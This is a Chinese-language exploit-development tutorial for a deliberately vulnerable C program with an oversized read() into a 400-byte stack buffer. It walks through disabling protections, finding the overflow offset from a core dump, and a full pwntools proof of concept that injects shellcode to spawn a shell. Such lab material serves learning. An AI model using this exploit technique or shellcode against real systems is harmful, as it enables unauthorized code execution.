0x00 Target#include <assert.h>#include <unistd.h>int vuln(){ // Define variables char arr[400]; int return_status; // Grab user input printf(“What’s your name?\n”); return_status = read(0, arr, 800); // Print user input printf(“Hey %s”, arr); // Return success return 0;}int main(int argc, char * argv[]){ vuln(); return 0;}这是一个非常标准的带有栈溢出漏洞的程序，编译与运行的条件如下：虚拟机，Ubuntu 18.04 LTS, Kernel: 4.15.0-45-generic使用如下GCC指令编译，关闭PIE(Position-independent Executable，指令位置无关可执行程序)，关闭栈保护功能，启用栈可执行功能。gcc -g -no-pie -fno-stack-protector -z execstack -o vuln2 vuln2.c利用这个漏洞的思路如下：将shellcode通过标准输入写入arr[400]数组；覆盖vulr栈帧保存的上一级函数的返回地址为arr[400]的起始地址；当函数调用ret指令时，跳转到arr[400]执行shellcode。0x01 Fuzzing使用pwntools中的cyclic生成cycle pyload，获取以下信息：arr[400]到栈帧中返回地址保存位置的offset；arr[400]的绝对地址，可以用vulr()栈帧的rbp和offset计算得到。编写的Fuzzing程序如下：def find_rbp(): cycle_payload = cyclic(512, n=8) clean_corefile(COREDUMP) # Generate coredump p = process([VULR_BINARY]) p.sendline(cycle_payload) p.wait_for_close() # Analise coredump core = Coredump(COREDUMP) clean_corefile(COREDUMP) # Find RBP address, RBP address is equal to RBP after leaveq return core.rsp - 8, cyclic_find(pack(core.rbp, 64), n=8)很多基于32位Linux系统讲解栈溢出的教程中采用根据EIP中存储的值来确定offset，但这个方法在x64系统中不适用。具体地，注意程序生成的coredump文件：(gdb) disasDump of assembler code for function vuln: 0x00000000004005c7 <+0>: push %rbp 0x00000000004005c8 <+1>: mov %rsp,%rbp 0x00000000004005cb <+4>: sub $0x1a0,%rsp 0x00000000004005d2 <+11>: lea 0x11b(%rip),%rdi # 0x4006f4 0x00000000004005d9 <+18>: callq 0x4004b0 <puts@plt> 0x00000000004005de <+23>: lea -0x1a0(%rbp),%rax 0x00000000004005e5 <+30>: mov $0x320,%edx 0x00000000004005ea <+35>: mov %rax,%rsi 0x00000000004005ed <+38>: mov $0x0,%edi 0x00000000004005f2 <+43>: callq 0x4004d0 <read@plt> 0x00000000004005f7 <+48>: mov %eax,-0x4(%rbp) 0x00000000004005fa <+51>: lea -0x1a0(%rbp),%rax 0x0000000000400601 <+58>: mov %rax,%rsi 0x0000000000400604 <+61>: lea 0xfb(%rip),%rdi # 0x400706 0x000000000040060b <+68>: mov $0x0,%eax 0x0000000000400610 <+73>: callq 0x4004c0 <printf@plt> 0x0000000000400615 <+78>: mov $0x0,%eax 0x000000000040061a <+83>: leaveq => 0x000000000040061b <+84>: retq End of assembler dump.此时，RIP寄存器的值为:(gdb) p $rip$1 = (void (*)()) 0x40061b <vuln+84>说明retq指令执行还没有被完全执行，程序就发生了段错误。retq指令执行时，会检查栈中存储的返回地址是否合法。如合法，读入到rip寄存器并执行，如果不合法，将发出中断。此时，rip寄存器并没有读入栈中存储的返回地址因此，不能通过分析rip来确定溢出的offset，但我们注意到leaveq已经获得了执行，栈中存放的rbp已经被覆盖，栈中存放的rbp值已经读入rbp寄存器，可以通过分析rbp来确定溢出的offset。0x02 POC由上，就可以编写出完整的POC代码了#!/usr/bin/env python2import osfrom pwn import *VULR_BINARY = ‘./vuln2’COREDUMP = ‘./core’context.update(arch=‘x86_64’, os=‘linux’)def clean_corefile(corefile): if os.path.exists(corefile): os.remove(corefile)def find_rbp(): cycle_payload = cyclic(512, n=8) clean_corefile(COREDUMP) # Generate coredump p = process([VULR_BINARY]) p.sendline(cycle_payload) p.wait_for_close() # Analise coredump core = Coredump(COREDUMP) clean_corefile(COREDUMP) # Find RBP address, RBP address is equal to RBP after leaveq return core.rsp - 8, cyclic_find(pack(core.rbp, 64), n=8)def poc_start(): shellcode = asm(shellcraft.sh()) rbp_address, rbp_offset = find_rbp() payload = shellcode + asm(’nop’) * (rbp_offset + 8 - len(shellcode)) + pack(rbp_address - rbp_offset, 64) p = process([VULR_BINARY], stdin=PTY, stdout=PTY) p.sendline(payload) p.interactive()poc_start()执行shellcode后，即运行了一个shellReferencehttps://www.felixcloutier.com…https://bytesoverbombs.io/exp…
...